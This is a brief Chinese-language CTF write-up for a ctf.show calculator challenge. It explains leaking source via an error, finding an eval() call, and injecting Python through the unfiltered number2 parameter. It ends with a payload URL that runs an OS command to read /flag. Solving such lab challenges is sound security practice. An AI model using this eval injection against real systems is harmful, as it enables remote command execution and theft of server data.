我们抓包找到传入的参数,然后利用中文让其报错,这样我们就可以拿到源码了
这里是关键
我们可以看到eval函数,所以我们可以利用这个函数
然后我们经过测试会发现,number1和operator有过滤,就是你传一些东西他会返回error
但是number2不会,所以我们就来利用number2吧
payload:
http://51cf4035-a47c-45fc-be54-f802445bfbb2.challenge.ctf.show/_calculate?number1=&operator=&number2=__import__('os').popen('cat /flag').read()